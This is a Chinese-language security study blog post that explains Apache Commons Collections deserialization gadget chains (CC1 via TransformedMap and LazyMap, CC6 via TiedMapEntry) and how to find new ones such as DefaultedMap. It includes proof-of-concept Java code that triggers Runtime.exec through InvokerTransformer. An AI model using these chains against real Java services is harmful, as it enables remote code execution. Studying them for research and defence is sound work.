如何挖一条新的CommonsCollections利用链

如何挖一条新的Co…

内容纲要

CommonsCollections1利用链

从一个简化的Demo说起

P神的简化的Demo:

package org.vulhub.Ser;

import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.map.TransformedMap;

import java.util.HashMap;
import java.util.Map;

public class CommonsCollections1 {
    public static void main(String[] args) throws Exception {
        Transformer[] transformers = new Transformer[]{
            new ConstantTransformer(Runtime.getRuntime()),
            new InvokerTransformer("exec", new Class[]{String.class},
new Object[]
{"calc.exe"}),
        };

        Transformer transformerChain = new
ChainedTransformer(transformers);

        Map innerMap = new HashMap();
        Map outerMap = TransformedMap.decorate(innerMap, null,
transformerChain);
        outerMap.put("test", "xxxx");
    }
}

创建了⼀个ChainedTransformer,其中包含两个Transformer:第⼀个是ConstantTransformer
直接返回当前环境的Runtime对象;第⼆个是InvokerTransformer,执⾏Runtime对象的exec⽅法,参
数是 calc.exe
当然,这个transformerChain只是⼀系列回调,我们需要⽤其来包装innerMap,使⽤的前⾯说到的
TransformedMap.decorate

Map innerMap = new HashMap();
Map outerMap = TransformedMap.decorate(innerMap, null, transformerChain);

最后,怎么触发回调呢?就是向Map中放⼊⼀个新的元素:

outerMap.put("test", "xxxx");

image.png

几个类:

TransformedMap

TransformedMap⽤于对Java标准数据结构Map做⼀个修饰,被修饰过的Map在添加新的元素时,将可
以执⾏⼀个回调。 我们通过下⾯这⾏代码对innerMap进⾏修饰,传出的outerMap即是修饰后的Map:

Map outerMap = TransformedMap.decorate(innerMap, keyTransformer, valueTransformer);

其中, keyTransformer是处理新元素的Key的回调, valueTransformer是处理新元素的value的回调。
我们这⾥所说的”回调“,并不是传统意义上的⼀个回调函数,⽽是⼀个实现了Transformer接⼝的类。

Transformer

Transformer是⼀个接⼝,它只有⼀个待实现的⽅法:

public interface Transformer {
    public Object transform(Object input);
} 

TransformedMap在转换Map的新元素时,就会调⽤transform⽅法,这个过程就类似在调⽤⼀个”回调
函数“,这个回调的参数是原始对象。

ConstantTransformer

ConstantTransformer是实现了Transformer接⼝的⼀个类,它的过程就是在构造函数的时候传⼊⼀个
对象,并在transform⽅法将这个对象再返回:

public ConstantTransformer(Object constantToReturn) {
    super();
    iConstant = constantToReturn;
}
public Object transform(Object input) {
    return iConstant;
}

他的作⽤其实就是包装任意⼀个对象,在执⾏回调时返回这个对象,进⽽⽅便后续操作。

InvokerTransformer

InvokerTransformer是实现了Transformer接⼝的⼀个类,这个类可以⽤来执⾏任意⽅法,这也是反序
列化能执行任意代码的关键

在实例化这个InvokerTransformer时,需要传⼊三个参数,第⼀个参数是待执⾏的⽅法名,第⼆个参数
是这个函数的参数列表的参数类型,第三个参数是传给这个函数的参数列表 :

public InvokerTransformer(String methodName, Class[] paramTypes, Object[] args) {
    super();
    iMethodName = methodName;
    iParamTypes = paramTypes;
    iArgs = args;
}

后⾯的回调transform⽅法,就是执⾏了input对象的iMethodName⽅法:

public Object transform(Object input) {
    if (input == null) {
        return null;
    }
    try {
        Class cls = input.getClass();
        Method method = cls.getMethod(iMethodName, iParamTypes);
        return method.invoke(input, iArgs);
    }   catch (NoSuchMethodException ex) {
        throw new FunctorException("InvokerTransformer: The method '" +
    iMethodName + "' on '" + input.getClass() + "' does not exist");
    }   catch (IllegalAccessException ex) {
        throw new FunctorException("InvokerTransformer: The method '" +
    iMethodName + "' on '" + input.getClass() + "' cannot be accessed");
    }   catch (InvocationTargetException ex) {
        throw new FunctorException("InvokerTransformer: The method '" +
    iMethodName + "' on '" + input.getClass() + "' threw an exception", ex);
    }
}

ChainedTransformer

ChainedTransformer也是实现了Transformer接⼝的⼀个类,它的作⽤是将内部的多个Transformer串
在⼀起。

public ChainedTransformer(Transformer[] transformers) {
    super();
    iTransformers = transformers;
}
public Object transform(Object object) {
    for (int i = 0; i < iTransformers.length; i++) {
        object = iTransformers[i].transform(object);
    }
    return object;
}

由demo到POC

先对比一下ysoserial的调用栈:

Gadget chain:
    ObjectInputStream.readObject()
        AnnotationInvocationHandler.readObject()
            Map(Proxy).entrySet()
                AnnotationInvocationHandler.invoke()
                    LazyMap.get()
                        ChainedTransformer.transform()
                            ConstantTransformer.transform()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Class.getMethod()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.getRuntime()
                            InvokerTransformer.transform()
                                Method.invoke()
                                    Runtime.exec()

demo中并没有用到ObjectInputStream,AnnotationInvocationHandler,LazyMap,而多了一个TransformMap。缘何?

AnnotationInvocationHandler

漏洞的触发是向Map中加入一个新的元素,demo里是手工outerMap.put("test", "xxxx");触发,实际反序列化需要一个类在反序列化的readObject逻辑⾥有类似的写⼊操作 。

sun.reflect.annotation.AnnotationInvocationHandler,其readObject如是(8u71前):

private void readObject(java.io.ObjectInputStream s) 
    throws java.io.IOException, ClassNotFoundException {
    s.defaultReadObject();

    // Check to make sure that types have not evolved incompatibly

    AnnotationType annotationType = null;
    try {
        annotationType = AnnotationType.getInstance(type);
    } catch(IllegalArgumentException e) {
        // Class is no longer an annotation type; time to punch out
        throw new java.io.InvalidObjectException("Non-annotation type in annotation serial stream");
    }

    Map<String, Class<?>> memberTypes = annotationType.memberTypes();

    // If there are annotation members without values, that
    // situation is handled by the invoke method.
    for (Map.Entry<String, Object> memberValue : memberValues.entrySet()) { // -_- 关键1
        String name = memberValue.getKey();
        Class<?> memberType = memberTypes.get(name);
        if (memberType != null) { // i.e. member still exists
            Object value = memberValue.getValue();
            if (!(memberType.isInstance(value) || 
                  value instanceof ExceptionProxy)) {
                memberValue.setValue( // -_- 关键2
                    new AnnotationTypeMismatchExceptionProxy(
                        value.getClass() + "[" + value + "]").setMember(
                            annotationType.members().get(name)));
            }
        }
    }
}

核⼼逻辑就是 Map.Entry<String, Object> memberValue : memberValues.entrySet()
memberValue.setValue(...)

memberValues就是反序列化后得到的Map,也是经过了TransformedMap修饰的对象,这⾥遍历了它
的所有元素,并依次设置值。在调⽤setValue设置值的时候就会触发TransformedMap⾥注册的
Transform,进而执⾏我们为其精心设计的任意代码。

所以POC中需要创建一个AnnotationInvocationHandler对象,并将前面构造的HashMap设置进来:

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler"); 
    //反射.forName 获取类
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class); 
    //获取其构造方法
construct.setAccessible(true); 
    //设为外部可见
Object obj = construct.newInstance(Retention.class, outerMap); 
    //反射.newInstance 实例化对象

注意这里用了反射。因为 sun.reflect.annotation.AnnotationInvocationHandler 是⼀个内部类,不能直接使⽤new来实例化。 使⽤反射获取到了它的构造⽅法,并将其设置成外部可见的,再调⽤就可以实例化了。

Tips

AnnotationInvocationHandler类的构造函数有两个参数(即Line 7 Retention.class, outerMap),第⼀个参数是⼀个Annotation类;第⼆个参数就是前⾯构造的Map。

Annotation是java里的注解,@Retention是java里的元注解,元注解是用来描述注解的,即注解的注解。(笑

注解个人理解是标签,不改变程序本身的逻辑,相似于python的装饰器。

回到函数中,@Retention用来描述注解将会在哪个层次存在,即其生命周期:

RetentionPolicy 说明 举例
SOURCE 只会在java文件中存在,编译时忽略 @Override, @SupressWarnings
CLASS class文件中亦可见,jvm加载时忽略。(默认情况)
RUNTIME class中可见,jvm加载时亦存在。 @Deprecated

上面构造函数参数1的Retention.calss是描述其jvm加载时忽略?(不像

三处细节

为什么要用反射

AnnotationInvocationHandler对象是反序列化利⽤链的起点。但如果直接将这个对象⽣成序列化流作POC:

ByteArrayOutputStream barr = new ByteArrayOutputStream();
ObjectOutputStream oos = new ObjectOutputStream(barr);
oos.writeObject(obj);
oos.close();

writeObject时会出现异常:java.io.NotSerializableException: java.lang.Runtime

原因是, Java中不是所有对象都⽀持序列化, 待序列化的对象和所有它使⽤的内部属性对象,必须都实
现了 java.io.Serializable 接口。⽽最早传给ConstantTransformer的是 Runtime.getRuntime() , Runtime类没有实现 java.io.Serializable 接口,所以不允许被序列化。所以说不能直接使用Runtime类,需要用反射来获取Runtime对象:

Method f = Runtime.class.getMethod("getRuntime");
Runtime r = (Runtime) f.invoke(null);
r.exec("calc.exe");

转换成Transformer的写法如是:

Transformer[] transformers = new Transformer[] {
    new ConstantTransformer(Runtime.class),
    new InvokerTransformer("getMethod", new Class[] { String.class,
                                                     Class[].class }, 
                           new Object[] {"getRuntime",new Class[0] }),
    new InvokerTransformer("invoke", new Class[] { Object.class,
                                                  Object[].class }, 
                           new Object[] { null, new Object[0] }),
    new InvokerTransformer("exec", new Class[] { String.class },
    new String[] {
        "calc.exe" }),
};

和demo最⼤的区别就是将 Runtime.getRuntime() 换成了 Runtime.class ,前者是⼀个 java.lang.Runtime 对象,后者是⼀个 java.lang.Class 对象。 Class类有实现Serializable接⼝,所以可以被序列化。

一处if

做完以上修改之后,依旧不是一个可以弹计算器的POC,还有一处逻辑没过:

AnnotationInvocationHandler:readObject 的逻辑中,有⼀个if语句对var7进⾏判断,只有在其
不是null的时候才会进⼊⾥⾯执⾏setValue,否则不会进⼊也就不会触发漏洞,绕过的条件:

  1. sun.reflect.annotation.AnnotationInvocationHandler 构造函数的第⼀个参数必须是
    Annotation的⼦类,且其中必须含有⾄少⼀个方法,假设方法名是X
  2. TransformedMap.decorate 修饰的Map中必须有⼀个键名为X的元素

所以说,前面用到 Retention.class ,并非是用注解的功能,而是因为Retention有⼀个⽅法,名为value;所以,为了再满⾜第⼆个条件,给Map中放⼊⼀个Key是value的元素即可:

innerMap.put("value", "xxxx");
版本问题

Java 8u71 之后Java官⽅修改了 sun.reflect.annotation.AnnotationInvocationHandler 的readObject函数:

image.png

改动后,不再直接使⽤反序列化得到的Map对象,⽽是新建了⼀个LinkedHashMap对象,并将原来的键值添加进去。
所以,后续对Map的操作都是基于这个新的LinkedHashMap对象,⽽原来我们精⼼构造的Map不再执⾏set或put操作,也就不会触发RCE了。

LazyMap

P师傅的demo里并没有用到LazyMap,却也完成了弹计算器,他用的是TransformedMap。在如今的java版本中,用LazyMap和TransformedMap其实都不能RCE了,原因如上文版本问题。不过不妨碍跟着ysoserial用LazyMap的利用链去加深理解一下Java对象代理。

根源上讲,LazyMap和TransformedMap都来自于Common-Collections库,并继承AbstractMapDecorator。 LazyMap漏洞触发点和TransformedMap唯一的差别是,TransformedMap是在写入元素的时候执行transform,而LazyMap是在其get方法中执行的 factory.transform

LazyMap的Lazy在于“懒加载”,在get找不到值的时候,它会调用 factory.transform 方法去获取一个值:

public Object get(Object key) {
    // create value for key if key is not currently in the map
    if (map.containsKey(key) == false) {
        Object value = factory.transform(key);
        map.put(key, value);
        return value;
    }
    return map.get(key);
}

相比于TransformedMap的利用方法,LazyMap后续利用稍微复杂一些,原因是在
sun.reflect.annotation.AnnotationInvocationHandler 的readObject方法中并没有直接调用到
Map的get方法。
所以ysoserial用的是另一条路,AnnotationInvocationHandler类的invoke方法有调用到get,使用可以使用Java的对象代理来调用AnnotationInvocationHandler#invoke ,从而调用到get。

Java 对象代理

作为一门静态语言,如果想劫持一个对象内部的方法调用,实现类似PHP的魔术方法 __call ,我们需
要用到 java.reflect.Proxy

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(),
                                            new Class[] {Map.class}, 
                                            handler);

Proxy.newProxyInstance 的第一个参数是ClassLoader,我们用默认的即可;第二个参数是我们需要
代理的对象集合;第三个参数是一个实现了InvocationHandler接口的对象,里面包含了具体代理的逻
辑 。

回看 sun.reflect.annotation.AnnotationInvocationHandler ,会发现实际上这个类实际就是一个InvocationHandler,我们如果将这个对象用Proxy进行代理,那么在readObject的时候,只要调用任意方法,就会进入到 AnnotationInvocationHandler#invoke 方法中,进而触发我们的LazyMap#get

LazyMap构造利用链

在TransformedMap POC的基础上进行修改,首先使用LazyMap替换TransformedMap:

Map outerMap = LazyMap.decorate(innerMap, transformerChain);

然后,对 sun.reflect.annotation.AnnotationInvocationHandler 对象进行Proxy:

Class clazz = Class.forName("sun.reflect.annotation.AnnotationInvocationHandler");
Constructor construct = clazz.getDeclaredConstructor(Class.class, Map.class);
construct.setAccessible(true);
InvocationHandler handler = (InvocationHandler) 
    construct.newInstance(Retention.class, outerMap);

Map proxyMap = (Map) Proxy.newProxyInstance(Map.class.getClassLoader(), new Class[] {Map.class}, handler);

代理后的对象叫做proxyMap,但我们不能直接对其进行序列化,因为我们入口点是
sun.reflect.annotation.AnnotationInvocationHandler#readObject ,所以我们还需要再用
AnnotationInvocationHandlerproxyMap进行包裹:

handler = (InvocationHandler) 
construct.newInstance(Retention.class,proxyMap);

从CommonsCollections6看利用链的变化

Java 8u71之后,CommonsCollections1因sun.reflect.annotation.AnnotationInvocationHandler#readObject 的逻辑变化而不再可用,众所周知,CommonsCollections6在CommonsCollections利用链里算泛用性比较强的,跟一下这条链也许能够有些新思路:

//ysoserial garget chain
java.io.ObjectInputStream.readObject()
    java.util.HashSet.readObject()
        java.util.HashMap.put()
        java.util.HashMap.hash()
            org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
            org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                org.apache.commons.collections.map.LazyMap.get()
                     org.apache.commons.collections.functors.ChainedTransformer.transform()
                     org.apache.commons.collections.functors.InvokerTransformer.transform()
                     java.lang.reflect.Method.invoke()
                         java.lang.Runtime.exec()

//P师傅简化链
java.io.ObjectInputStream.readObject()

    java.util.HashMap.readObject()

        java.util.HashMap.hash()
            org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
            org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
                org.apache.commons.collections.map.LazyMap.get() //☆
                    org.apache.commons.collections.functors.ChainedTransformer.transform()
                    org.apache.commons.collections.functors.InvokerTransformer.transform()
                    java.lang.reflect.Method.invoke()
                        java.lang.Runtime.exec()

如前文所提及,新版本CC1不可用的核心在AnnotationInvocationHandler的变化,而变化的核心在于Lazymap#get那里被改写。所以说,解决Java⾼版本利⽤问题,实际上就是在找上下⽂中是否还有其他调⽤ LazyMap#get() 的地⽅ 。

这个寻找的场景,就很CTF。

新的LazyMap#get()

这里找到的类就是 org.apache.commons.collections.keyvalue.TiedMapEntry ,在其getValue⽅法中调⽤了 this.map.get ,⽽其hashCode⽅法调⽤了getValue⽅法:

public class TiedMapEntry implements Entry, KeyValue, Serializable {
    private static final long serialVersionUID = -8453869361373831205L;
    private final Map map;
    private final Object key;

    public TiedMapEntry(Map map, Object key) {
    this.map = map;
    this.key = key;
    }

    public Object getKey() {
    return this.key;
    }

    public Object getValue() {
    return this.map.get(this.key);
    }
    //...
    public int hashCode() {
        Object value = this.getValue();
        return (this.getKey() == null ? 0 : this.getKey().hashCode()) ^ (value == null ? 0 : value.hashCode());
    }
    //...
}

所以说,这里要触发LazyMap利⽤链,可以归结为寻找调用 TiedMapEntry#hashCode 处。

ysoserial中,是利⽤ java.util.HashSet#readObjectHashMap#put()HashMap#hash(key)最后到 TiedMapEntry#hashCode()
P师傅的链,因为在 java.util.HashMap#readObject 中就可以找到 HashMap#hash() 的调⽤,所以去掉了最前面的两次调用。(Demo POC)

在HashMap的readObject⽅法中,调⽤到了 hash(key) ,⽽hash⽅法中,调用到了key.hashCode() 。所以,我们只需要让这个key等于TiedMapEntry对象,即可连接上前⾯的分析过程,构成⼀个完整的Gadget。

怎样挖一条新的CommonsCollections利用链

让我们倒退回起点,CommonsCollections1里为了解决Java⾼版本利⽤问题,我们需要在上下⽂中找到是否还有其他调⽤ LazyMap#get() 的地⽅ 。

梅子酒师傅在WCTF2019出的一道题,这道题摘除了LazyMap和TransformedMap的链。相对解决版本问题时寻找其他 LazyMap#get()的调用更加严苛。要绕过这限制,且先看一下他在出题笔记里归结的LazyMap调用流程:

BadAttributeValueExpException.readObject
TiedMapEntry.toString
TiedMapEntry.getValue
LazyMap.get
ChainedTransformer.transform
InvokerTransformer.transform

回想最初用TransformedMap的那个极简Demo,调用流程(此处再查

那么,我们需要寻找到一个Map,在这个Map中,应当调用了transformer.transform,并且transformer的值可控。这里所找到的就是DefaultedMap,他们都是在get方法中调用transform,并且调用transform方法的对象都是可控的transformer,流程同LazyMap类似:

BadAttributeValueExpException.readObject
TiedMapEntry.toString
TiedMapEntry.getValue
DefaultedMap.get
ChainedTransformer.transform
InvokerTransformer.transform

之后在用LazyMap的exp之上写一份用DefaultedMap的即可。

题目到这里就结束了,但一个好的CTF题,出题人会想告诉我们一些安全研究的方法论。

如何挖一条新的利用链?从P师傅的Java安全漫谈和梅子酒师傅的题中能看出,他们都在考虑链上的那些东西是必要,那些东西是可以替换的。题目里,LazyMap可以被DefaultedMap替换;漫谈中,CommonsCollections1链的某些环可以被精简。抽丝剥茧与改弦更张之后,说不定就是新的利用链。

参考

Phithon师傅的Java安全漫谈
(全系列,包括未来的新漫谈也想丰富进这篇文章,真的学到很多,极度推荐

梅子酒的WCTF2019出题笔记
(如何挖一条新的CommonsCollections利用链

harmoc

发表评论

电子邮件地址不会被公开。 必填项已用*标注